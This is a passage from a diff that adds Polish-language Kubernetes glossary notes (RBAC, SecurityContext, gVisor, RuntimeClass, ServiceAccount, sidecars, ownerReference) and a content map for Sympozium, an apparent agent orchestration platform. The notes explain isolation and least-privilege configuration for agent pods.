│ │ Container │ │ Container │ ... │
|
||||
│ │ (main) │ │ (sidecar) │ │
|
||||
│ └──────────┘ └──────────┘ │
|
||||
│ │
|
||||
│ Volumes (shared): │
|
||||
│ /workspace (emptyDir) │
|
||||
│ /ipc (emptyDir, RAM) │
|
||||
│ /skills (projected ConfigMap) │
|
||||
└─────────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Multi-container patterns
|
||||
|
||||
| Pattern | Opis | Przykład w Sympozium |
|
||||
|---------|------|---------------------|
|
||||
| **Sidecar** | Kontener pomocniczy obok głównego | IPC Bridge, Skill sidecars |
|
||||
| **Init container** | Uruchamiany przed głównymi | wait-for-memory |
|
||||
| **Ambassador** | Proxy do zewnętrznych serwisów | MCP Bridge |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Agent Pod to multi-container pod z:
|
||||
- **Agent container** - główny (LLM loop)
|
||||
- **IPC Bridge sidecar** - komunikacja fsnotify → NATS
|
||||
- **Skill sidecars** - narzędzia (kubectl, helm)
|
||||
- **MCP Bridge** - proxy do MCP serwerów
|
||||
- **Sandbox** - opcjonalny kontener izolacji
|
||||
|
||||
Współdzielone woluminy umożliwiają IPC bez sieci.
|
||||
|
||||
Więcej: [[Cykl życia Agent Pod]] | [[Sidecar Pattern]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Job]] | [[Deployment]] | [[Sidecar Pattern]] | [[SecurityContext]]
|
||||
91
08-Słownik-K8s/RBAC.md
Normal file
91
08-Słownik-K8s/RBAC.md
Normal file
@@ -0,0 +1,91 @@
|
||||
# RBAC - Role-Based Access Control
|
||||
|
||||
#kubernetes #security #rbac #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**RBAC** (Role-Based Access Control) to system autoryzacji w Kubernetes. Definiuje **kto** (subject) może wykonywać **jakie operacje** (verbs) na **jakich zasobach** (resources).
|
||||
|
||||
## Komponenty
|
||||
|
||||
### Role (namespace-scoped)
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: pod-reader
|
||||
namespace: my-namespace
|
||||
rules:
|
||||
- apiGroups: [""] # "" = core API group
|
||||
resources: ["pods"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
```
|
||||
|
||||
### ClusterRole (cluster-scoped)
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: node-reader
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["nodes"]
|
||||
verbs: ["get", "list"]
|
||||
```
|
||||
|
||||
### RoleBinding (wiąże Role z podmiotem)
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-pods
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: my-agent
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: pod-reader
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
```
|
||||
|
||||
## Verbs
|
||||
|
||||
| Verb | Opis |
|
||||
|------|------|
|
||||
| `get` | Odczyt pojedynczego zasobu |
|
||||
| `list` | Listowanie zasobów |
|
||||
| `watch` | Obserwowanie zmian (streaming) |
|
||||
| `create` | Tworzenie nowego zasobu |
|
||||
| `update` | Aktualizacja istniejącego |
|
||||
| `patch` | Częściowa aktualizacja |
|
||||
| `delete` | Usuwanie zasobu |
|
||||
|
||||
## Scope
|
||||
|
||||
| Typ | Scope | Binding |
|
||||
|-----|-------|---------|
|
||||
| **Role** | Namespace | RoleBinding |
|
||||
| **ClusterRole** | Cały klaster | ClusterRoleBinding |
|
||||
| **ClusterRole** | Namespace (reuse) | RoleBinding |
|
||||
|
||||
## Privilege escalation prevention
|
||||
|
||||
Kubernetes nie pozwala na tworzenie ról z uprawnieniami większymi niż posiada twórca. Dlatego controller Sympozium wymaga `cluster-admin` - musi tworzyć dowolne role zdefiniowane w [[SkillPack|SkillPacks]].
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Sympozium implementuje **efemeryczny RBAC per-run**:
|
||||
|
||||
1. [[SkillPack]] deklaruje potrzebne uprawnienia (rbac/clusterRBAC)
|
||||
2. Przy tworzeniu [[AgentRun]], controller tworzy:
|
||||
- Role + RoleBinding (namespace-scoped, [[ownerReference]] → AgentRun)
|
||||
- ClusterRole + ClusterRoleBinding (label-based cleanup)
|
||||
3. Po zakończeniu runu → RBAC usunięty
|
||||
|
||||
Credentials istnieją **tylko przez czas trwania runu**.
|
||||
|
||||
Więcej: [[Efemeryczny RBAC per-run]] | [[Skill Sidecars i auto-RBAC]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Efemeryczny RBAC per-run]] | [[ServiceAccount]] | [[Skill Sidecars i auto-RBAC]]
|
||||
74
08-Słownik-K8s/RuntimeClass.md
Normal file
74
08-Słownik-K8s/RuntimeClass.md
Normal file
@@ -0,0 +1,74 @@
|
||||
# RuntimeClass
|
||||
|
||||
#kubernetes #security #container-runtime #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**RuntimeClass** to zasób Kubernetes pozwalający na **wybór container runtime** dla poda. Domyślnie pody używają standardowego runtime (runc), ale RuntimeClass pozwala na użycie alternatywnych runtime'ów jak [[gVisor]] (runsc) czy [[Kata Containers]].
|
||||
|
||||
## Jak działa?
|
||||
|
||||
```
|
||||
1. Administrator tworzy RuntimeClass
|
||||
2. Pod spec: runtimeClassName: gvisor
|
||||
3. Kubelet: zamiast runc, użyj runsc (gVisor)
|
||||
4. Pod uruchamiany w gVisor sandbox
|
||||
```
|
||||
|
||||
## Przykład
|
||||
|
||||
```yaml
|
||||
apiVersion: node.k8s.io/v1
|
||||
kind: RuntimeClass
|
||||
metadata:
|
||||
name: gvisor
|
||||
handler: runsc # Nazwa handler'a w konfiguracji containerd
|
||||
|
||||
---
|
||||
apiVersion: node.k8s.io/v1
|
||||
kind: RuntimeClass
|
||||
metadata:
|
||||
name: kata
|
||||
handler: kata-qemu
|
||||
```
|
||||
|
||||
## Containerd konfiguracja
|
||||
|
||||
```toml
|
||||
# /etc/containerd/config.toml
|
||||
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc]
|
||||
runtime_type = "io.containerd.runsc.v1"
|
||||
|
||||
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.kata-qemu]
|
||||
runtime_type = "io.containerd.kata.v2"
|
||||
```
|
||||
|
||||
## Overhead scheduling
|
||||
|
||||
RuntimeClass może deklarować overhead:
|
||||
```yaml
|
||||
overhead:
|
||||
podFixed:
|
||||
memory: "120Mi"
|
||||
cpu: "250m"
|
||||
```
|
||||
|
||||
Kubernetes scheduler uwzględnia overhead przy planowaniu.
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Sympozium obsługuje RuntimeClass przez [[Agent Sandbox - gVisor i Kata]]:
|
||||
|
||||
```yaml
|
||||
# SympoziumPolicy - wymusza i ogranicza runtime classes
|
||||
agentSandboxPolicy:
|
||||
required: true
|
||||
defaultRuntimeClass: gvisor
|
||||
allowedRuntimeClasses: [gvisor, kata]
|
||||
```
|
||||
|
||||
Controller tworzy Sandbox CR z `runtimeClassName` ustawionym z konfiguracji.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[gVisor]] | [[Kata Containers]] | [[Agent Sandbox - gVisor i Kata]]
|
||||
76
08-Słownik-K8s/SecurityContext.md
Normal file
76
08-Słownik-K8s/SecurityContext.md
Normal file
@@ -0,0 +1,76 @@
|
||||
# SecurityContext
|
||||
|
||||
#kubernetes #security #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**SecurityContext** to konfiguracja bezpieczeństwa na poziomie poda lub kontenera. Definiuje **jak kontener jest uruchamiany** z perspektywy systemu operacyjnego.
|
||||
|
||||
## Kluczowe pola
|
||||
|
||||
```yaml
|
||||
securityContext:
|
||||
runAsNonRoot: true # Nie uruchamiaj jako root
|
||||
runAsUser: 1000 # UID procesu
|
||||
runAsGroup: 1000 # GID procesu
|
||||
readOnlyRootFilesystem: true # Root FS tylko do odczytu
|
||||
allowPrivilegeEscalation: false # Blokuj setuid/setgid
|
||||
capabilities:
|
||||
drop: ["ALL"] # Usuń WSZYSTKIE Linux capabilities
|
||||
add: ["NET_BIND_SERVICE"] # Dodaj konkretne (opcjonalnie)
|
||||
seccompProfile:
|
||||
type: RuntimeDefault # Seccomp profil
|
||||
```
|
||||
|
||||
## Pola wyjaśnione
|
||||
|
||||
### runAsNonRoot
|
||||
Wymusza uruchomienie kontenera jako użytkownik inny niż root (UID != 0). Jeśli obraz ma `USER root`, pod nie wystartuje.
|
||||
|
||||
### readOnlyRootFilesystem
|
||||
System plików kontenera jest read-only. Kontener może pisać tylko do zamontowanych woluminów (`/tmp`, `/workspace`). Zapobiega modyfikacji binariów.
|
||||
|
||||
### capabilities
|
||||
Linux capabilities to granularne uprawnienia (zamiast "all-or-nothing" root):
|
||||
|
||||
| Capability | Opis |
|
||||
|------------|------|
|
||||
| `CAP_NET_ADMIN` | Konfiguracja sieci |
|
||||
| `CAP_SYS_ADMIN` | Operacje administracyjne |
|
||||
| `CAP_NET_BIND_SERVICE` | Bindowanie portów < 1024 |
|
||||
| `ALL` | Wszystkie naraz |
|
||||
|
||||
`drop: ["ALL"]` usuwa WSZYSTKIE capabilities - kontener ma minimalne uprawnienia.
|
||||
|
||||
### seccompProfile
|
||||
**Seccomp** (Secure Computing Mode) filtruje syscalls na poziomie kernela:
|
||||
- `RuntimeDefault` - profil domyślny containerd (blokuje niebezpieczne syscalls)
|
||||
- `Unconfined` - brak filtrowania
|
||||
- `Localhost` - custom profil z pliku
|
||||
|
||||
### allowPrivilegeEscalation
|
||||
Blokuje mechanizmy eskalacji uprawnień:
|
||||
- setuid/setgid bity na plikach
|
||||
- `no_new_privs` flag w kernelu
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Agent containers mają **hardened SecurityContext**:
|
||||
|
||||
```go
|
||||
SecurityContext: &corev1.SecurityContext{
|
||||
ReadOnlyRootFilesystem: true,
|
||||
AllowPrivilegeEscalation: false,
|
||||
Capabilities: &corev1.Capabilities{
|
||||
Drop: []corev1.Capability{"ALL"},
|
||||
},
|
||||
}
|
||||
```
|
||||
|
||||
W połączeniu z [[NetworkPolicy]] i [[RBAC]], tworzy to defense-in-depth.
|
||||
|
||||
Więcej: [[Model bezpieczeństwa Defence-in-Depth]] | [[Cykl życia Agent Pod]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[gVisor]] | [[Kata Containers]] | [[Pod]]
|
||||
49
08-Słownik-K8s/ServiceAccount.md
Normal file
49
08-Słownik-K8s/ServiceAccount.md
Normal file
@@ -0,0 +1,49 @@
|
||||
# ServiceAccount
|
||||
|
||||
#kubernetes #security #rbac #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**ServiceAccount** to tożsamość przypisana do podów w Kubernetes. Pody używają ServiceAccount do autentykacji wobec API servera i uzyskania uprawnień zdefiniowanych w [[RBAC]].
|
||||
|
||||
## Jak działa?
|
||||
|
||||
```
|
||||
Pod → ServiceAccount → Token (auto-mounted) → K8s API Server
|
||||
↓
|
||||
RoleBinding sprawdza:
|
||||
"Czy ten SA ma Role z verbs?"
|
||||
```
|
||||
|
||||
Token jest automatycznie montowany w podzie pod:
|
||||
```
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
```
|
||||
|
||||
## Domyślne zachowanie
|
||||
|
||||
- Każdy namespace ma `default` ServiceAccount
|
||||
- Pody bez jawnego SA używają `default`
|
||||
- `default` SA ma minimalne uprawnienia (prawie żadne)
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Controller tworzy **dedykowany ServiceAccount** `sympozium-agent` w namespace runu:
|
||||
|
||||
```
|
||||
1. ensureAgentServiceAccount() → tworzy SA
|
||||
2. Role/ClusterRole → definiuje uprawnienia (z SkillPack)
|
||||
3. RoleBinding → wiąże SA z Role
|
||||
4. Pod spec: serviceAccountName: sympozium-agent
|
||||
5. Skill sidecar używa tokenu SA do kubectl/API calls
|
||||
6. Po zakończeniu → SA i RBAC garbage-collected
|
||||
```
|
||||
|
||||
Agent container **nie używa** tokenu SA (brak dostępu do K8s API).
|
||||
Skill sidecar **używa** tokenu SA (kubectl via automounted token).
|
||||
|
||||
Więcej: [[RBAC]] | [[Efemeryczny RBAC per-run]] | [[Skill Sidecars i auto-RBAC]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[RBAC]] | [[Efemeryczny RBAC per-run]] | [[Pod]]
|
||||
64
08-Słownik-K8s/Sidecar Pattern.md
Normal file
64
08-Słownik-K8s/Sidecar Pattern.md
Normal file
@@ -0,0 +1,64 @@
|
||||
# Sidecar Pattern
|
||||
|
||||
#kubernetes #patterns #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Sidecar Pattern** to wzorzec architektoniczny w Kubernetes gdzie **dodatkowy kontener** (sidecar) jest uruchamiany obok głównego kontenera w tym samym [[Pod|podzie]]. Sidecar rozszerza lub uzupełnia funkcjonalność głównego kontenera.
|
||||
|
||||
## Cechy
|
||||
|
||||
- Współdzieli **sieć** z głównym kontenerem (localhost)
|
||||
- Współdzieli **woluminy** (np. /ipc, /workspace)
|
||||
- Ma **własne zasoby** (CPU, memory limits)
|
||||
- Ma **własny lifecycle** (może mieć inne healthchecks)
|
||||
- **Nie modyfikuje** głównego kontenera
|
||||
|
||||
## Typowe zastosowania
|
||||
|
||||
| Sidecar | Rola | Przykład |
|
||||
|---------|------|---------|
|
||||
| Log collector | Zbiera logi | Fluentd, Filebeat |
|
||||
| Proxy | Routing sieciowy | Envoy (Istio), Linkerd |
|
||||
| Auth | Autentykacja/autoryzacja | OAuth2 proxy |
|
||||
| Monitoring | Metryki | Prometheus exporter |
|
||||
| **IPC Bridge** | Komunikacja | Sympozium: fsnotify → NATS |
|
||||
| **Skill sidecar** | Narzędzia | Sympozium: kubectl, helm |
|
||||
|
||||
## Komunikacja main ↔ sidecar
|
||||
|
||||
| Metoda | Opis | Użycie w Sympozium |
|
||||
|--------|------|---------------------|
|
||||
| **Shared volume** | Pliki w współdzielonym katalogu | `/ipc/` - JSON request/response |
|
||||
| **localhost** | HTTP/gRPC na localhost | Memory server API |
|
||||
| **Shared network** | Porty na localhost | MCP bridge |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Sympozium to **intensywny użytkownik sidecar pattern**. Typowy agent pod:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────┐
|
||||
│ Agent Pod │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
|
||||
│ │ MAIN: │ │ SIDECAR: │ │ SIDECAR: │ │
|
||||
│ │ Agent │ │ IPC │ │ Skill │ │
|
||||
│ │ Runner │ │ Bridge │ │ (kubectl)│ │
|
||||
│ └──────────┘ └──────────┘ └──────────┘ │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────┐ │
|
||||
│ │ SIDECAR: │ │ SIDECAR: │ │
|
||||
│ │ MCP │ │ Sandbox │ │
|
||||
│ │ Bridge │ │ (opcj.) │ │
|
||||
│ └──────────┘ └──────────┘ │
|
||||
└─────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
Kluczowa innowacja: **skill sidecary mają własny [[RBAC]]**, a agent container nie ma żadnych credentials K8s.
|
||||
|
||||
Więcej: [[Skill Sidecars i auto-RBAC]] | [[Cykl życia Agent Pod]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Pod]] | [[Skill Sidecars i auto-RBAC]] | [[Przepływ danych i IPC]]
|
||||
27
08-Słownik-K8s/StatefulSet.md
Normal file
27
08-Słownik-K8s/StatefulSet.md
Normal file
@@ -0,0 +1,27 @@
|
||||
# StatefulSet
|
||||
|
||||
#kubernetes #workload #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**StatefulSet** zarządza podami ze **stabilną tożsamością** - stały hostname, ordered deployment/scaling, i persistent storage per pod.
|
||||
|
||||
## Różnica vs Deployment
|
||||
|
||||
| | StatefulSet | [[Deployment]] |
|
||||
|---|-------------|------------|
|
||||
| Pod names | Ordered: `nats-0`, `nats-1` | Random: `nats-7d8f9-abc` |
|
||||
| Scaling | Sekwencyjne (0, 1, 2...) | Równoległe |
|
||||
| Storage | PVC per pod (stałe) | Shared lub brak |
|
||||
| Network | Stable DNS per pod | Load-balanced Service |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
**NATS JetStream** jest deployowany jako StatefulSet:
|
||||
- Stały hostname (`nats-0.nats.sympozium-system.svc`)
|
||||
- Persistent storage dla JetStream data
|
||||
- Durable event bus z replay capability
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[NATS JetStream - Event Bus]] | [[Deployment]] | [[Pod]]
|
||||
87
08-Słownik-K8s/gVisor.md
Normal file
87
08-Słownik-K8s/gVisor.md
Normal file
@@ -0,0 +1,87 @@
|
||||
# gVisor
|
||||
|
||||
#kubernetes #security #sandbox #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**gVisor** to projekt open-source od Google implementujący **user-space kernel** - warstwę pośrednią między kontenerem a kernelem hosta. Zamiast pozwalać kontenerowi na bezpośrednie wywołania systemowe (syscalls) do kernela hosta, gVisor przechwytuje je i obsługuje we własnym user-space kernelu o nazwie **Sentry**.
|
||||
|
||||
## Jak działa?
|
||||
|
||||
```
|
||||
Bez gVisor:
|
||||
Container → syscall → Host Kernel (współdzielony!)
|
||||
|
||||
Z gVisor:
|
||||
Container → syscall → Sentry (user-space kernel) → ograniczone syscalls → Host Kernel
|
||||
```
|
||||
|
||||
**Sentry** reimplementuje dużą część interfejsu Linux kernel (ponad 200 syscalls) w Go. Tylko niewielka liczba prawdziwych syscalls jest przekazywana do hosta.
|
||||
|
||||
## Kluczowe komponenty
|
||||
|
||||
| Komponent | Rola |
|
||||
|-----------|------|
|
||||
| **Sentry** | User-space kernel - obsługuje syscalls kontenera |
|
||||
| **Gofer** | File server - pośredniczy w dostępie do systemu plików |
|
||||
| **runsc** | OCI runtime - integruje się z containerd/runc |
|
||||
|
||||
## Dlaczego to ważne?
|
||||
|
||||
### Problem z tradycyjnymi kontenerami
|
||||
Kontenery współdzielą kernel hosta. Exploit w kernelu (np. CVE w obsłudze syscalls) = ucieczka z kontenera = dostęp do hosta i wszystkich innych kontenerów.
|
||||
|
||||
### Rozwiązanie gVisor
|
||||
- Kontener rozmawia z **Sentry**, nie z prawdziwym kernelem
|
||||
- Nawet jeśli Sentry zostanie skompromitowany, ma ograniczony dostęp do hosta
|
||||
- Powierzchnia ataku kernela zredukowana z ~400 syscalls do ~50
|
||||
|
||||
## Porównanie z alternatywami
|
||||
|
||||
| Technologia | Izolacja | Overhead | Kompatybilność |
|
||||
|-------------|----------|----------|-----------------|
|
||||
| Kontenery (runc) | Namespace + cgroups | ~0% | 100% |
|
||||
| **gVisor** | User-space kernel | **5-10%** | ~95% (nie wszystkie syscalls) |
|
||||
| [[Kata Containers]] | Lightweight VM | ~15-20% | ~99% |
|
||||
| Pełna VM (KVM) | Hypervisor | ~30%+ | 100% |
|
||||
|
||||
## Ograniczenia
|
||||
|
||||
- **Nie wszystkie syscalls** są implementowane (np. niektóre ioctl)
|
||||
- **Overhead I/O** - Gofer dodaje pośrednika do operacji plikowych
|
||||
- **Networking** - netstack (własny stack sieciowy) może mieć różnice w zachowaniu
|
||||
- **GPU** - ograniczone wsparcie dla GPU passthrough
|
||||
|
||||
## Użycie w Kubernetes
|
||||
|
||||
gVisor integruje się z K8s przez [[RuntimeClass]]:
|
||||
|
||||
```yaml
|
||||
apiVersion: node.k8s.io/v1
|
||||
kind: RuntimeClass
|
||||
metadata:
|
||||
name: gvisor
|
||||
handler: runsc
|
||||
```
|
||||
|
||||
Pod używający gVisor:
|
||||
```yaml
|
||||
spec:
|
||||
runtimeClassName: gvisor
|
||||
```
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
W Sympozium gVisor jest opcjonalną warstwą izolacji dla agent podów. Konfiguracja w [[AgentRun]] lub [[SympoziumInstance]]:
|
||||
|
||||
```yaml
|
||||
agentSandbox:
|
||||
enabled: true
|
||||
runtimeClass: gvisor
|
||||
```
|
||||
|
||||
Integracja via [[Agent Sandbox - gVisor i Kata]] (kubernetes-sigs/agent-sandbox).
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Kata Containers]] | [[Agent Sandbox - gVisor i Kata]] | [[RuntimeClass]] | [[SecurityContext]]
|
||||
66
08-Słownik-K8s/ownerReference.md
Normal file
66
08-Słownik-K8s/ownerReference.md
Normal file
@@ -0,0 +1,66 @@
|
||||
# ownerReference
|
||||
|
||||
#kubernetes #lifecycle #garbage-collection #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**ownerReference** to metadata na zasobie Kubernetes wskazująca na jego "właściciela". Gdy właściciel jest usunięty, Kubernetes **automatycznie garbage-collectuje** zasoby-dzieci.
|
||||
|
||||
## Jak działa?
|
||||
|
||||
```yaml
|
||||
# Child resource (np. Job)
|
||||
metadata:
|
||||
ownerReferences:
|
||||
- apiVersion: sympozium.ai/v1alpha1
|
||||
kind: AgentRun
|
||||
name: my-run-001
|
||||
uid: abc-123
|
||||
controller: true
|
||||
blockOwnerDeletion: true
|
||||
```
|
||||
|
||||
```
|
||||
Usunięcie AgentRun → K8s GC → Usunięcie Job → Usunięcie Pod
|
||||
```
|
||||
|
||||
## Cascade deletion
|
||||
|
||||
| Typ | Zachowanie |
|
||||
|-----|------------|
|
||||
| **Foreground** | Owner czeka na usunięcie children |
|
||||
| **Background** | Owner usunięty natychmiast, children async |
|
||||
| **Orphan** | Children nie są usuwane (osierocone) |
|
||||
|
||||
## Ograniczenia
|
||||
|
||||
- ownerReference działa **tylko w tym samym namespace**
|
||||
- Cluster-scoped zasoby (ClusterRole) **nie mogą** mieć ownerRef na namespace-scoped (AgentRun)
|
||||
- Dlatego Sympozium używa label-based cleanup dla cluster RBAC
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
### Automatyczne (ownerRef)
|
||||
```
|
||||
PersonaPack → owns → SympoziumInstance → owns → Channel Deployment
|
||||
→ owns → Memory ConfigMap
|
||||
→ owns → AgentRun → owns → Job
|
||||
→ owns → Role
|
||||
→ owns → RoleBinding
|
||||
```
|
||||
|
||||
Usunięcie PersonaPack = kaskadowe usunięcie CAŁEGO drzewa.
|
||||
|
||||
### Manualne (label-based, bo cross-namespace)
|
||||
```
|
||||
ClusterRole (cluster-scoped) ← label: sympozium.ai/agentrun: my-run
|
||||
ClusterRoleBinding ← label: sympozium.ai/agentrun: my-run
|
||||
|
||||
Controller czyści po labelach w reconcileCompleted()
|
||||
```
|
||||
|
||||
Więcej: [[Finalizer]] | [[Efemeryczny RBAC per-run]] | [[PersonaPacks - zespoły agentów]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Finalizer]] | [[Controller i Reconciler]] | [[CRD - Custom Resource Definition]]
|
||||
73
MOC - Sympozium.md
Normal file
73
MOC - Sympozium.md
Normal file
@@ -0,0 +1,73 @@
|
||||
# Sympozium - Map of Content
|
||||
|
||||
> Kubernetes-native Agent Orchestration Platform
|
||||
> *"Every agent is an ephemeral Pod. Every policy is a CRD. Every execution is a Job."*
|
||||
|
||||
---
|
||||
|
||||
## Przegląd projektu
|
||||
- [[Czym jest Sympozium]]
|
||||
- [[Kluczowe decyzje projektowe]]
|
||||
- [[Struktura repozytorium]]
|
||||
|
||||
## Architektura
|
||||
- [[Control Plane]]
|
||||
- [[Cykl życia Agent Pod]]
|
||||
- [[Przepływ danych i IPC]]
|
||||
- [[NATS JetStream - Event Bus]]
|
||||
- [[Orchestrator - PodBuilder i Spawner]]
|
||||
|
||||
## Custom Resource Definitions
|
||||
- [[SympoziumInstance]]
|
||||
- [[AgentRun]]
|
||||
- [[PersonaPack]]
|
||||
- [[SkillPack]]
|
||||
- [[SympoziumPolicy]]
|
||||
- [[SympoziumSchedule]]
|
||||
- [[MCPServer]]
|
||||
|
||||
## Zarządzanie agentami w klastrze
|
||||
- [[Model efemerycznych agentów]]
|
||||
- [[Cykl życia AgentRun]]
|
||||
- [[Skill Sidecars i auto-RBAC]]
|
||||
- [[Sub-agenty i hierarchia]]
|
||||
- [[PersonaPacks - zespoły agentów]]
|
||||
- [[Scheduled Tasks - heartbeaty i swepy]]
|
||||
- [[Tryb Server vs Task]]
|
||||
- [[Persistent Memory]]
|
||||
|
||||
## Bezpieczeństwo i izolacja
|
||||
- [[Model bezpieczeństwa Defence-in-Depth]]
|
||||
- [[Agent Sandbox - gVisor i Kata]]
|
||||
- [[NetworkPolicy i izolacja sieciowa]]
|
||||
- [[Efemeryczny RBAC per-run]]
|
||||
- [[Admission Webhooks i polityki]]
|
||||
|
||||
## Komunikacja
|
||||
- [[Kanały - Telegram Slack Discord WhatsApp]]
|
||||
- [[MCP Servers - Model Context Protocol]]
|
||||
- [[Web Endpoints - OpenAI-compat API]]
|
||||
- [[Node Probe - odkrywanie inferencji]]
|
||||
|
||||
## Porównania
|
||||
- [[Sympozium vs kagent]]
|
||||
- [[Sympozium vs frameworki in-process]]
|
||||
|
||||
## Słownik Kubernetes
|
||||
Wyjaśnienia pojęć K8s używanych w projekcie:
|
||||
|
||||
**Workloady:** [[Pod]] | [[Job]] | [[Deployment]] | [[StatefulSet]] | [[DaemonSet]]
|
||||
|
||||
**Bezpieczeństwo:** [[gVisor]] | [[Kata Containers]] | [[RuntimeClass]] | [[SecurityContext]] | [[RBAC]] | [[ServiceAccount]] | [[NetworkPolicy]] | [[Admission Webhook]]
|
||||
|
||||
**Architektura:** [[CRD - Custom Resource Definition]] | [[Controller i Reconciler]] | [[Sidecar Pattern]] | [[Namespace]] | [[Helm Chart]]
|
||||
|
||||
**Lifecycle:** [[Finalizer]] | [[ownerReference]]
|
||||
|
||||
**Storage:** [[ConfigMap i Secret]] | [[PersistentVolumeClaim]]
|
||||
|
||||
**Messaging:** [[NATS JetStream]]
|
||||
|
||||
---
|
||||
|
||||
#sympozium #kubernetes #ai-agents #analiza
|
||||
Reference in New Issue
Block a user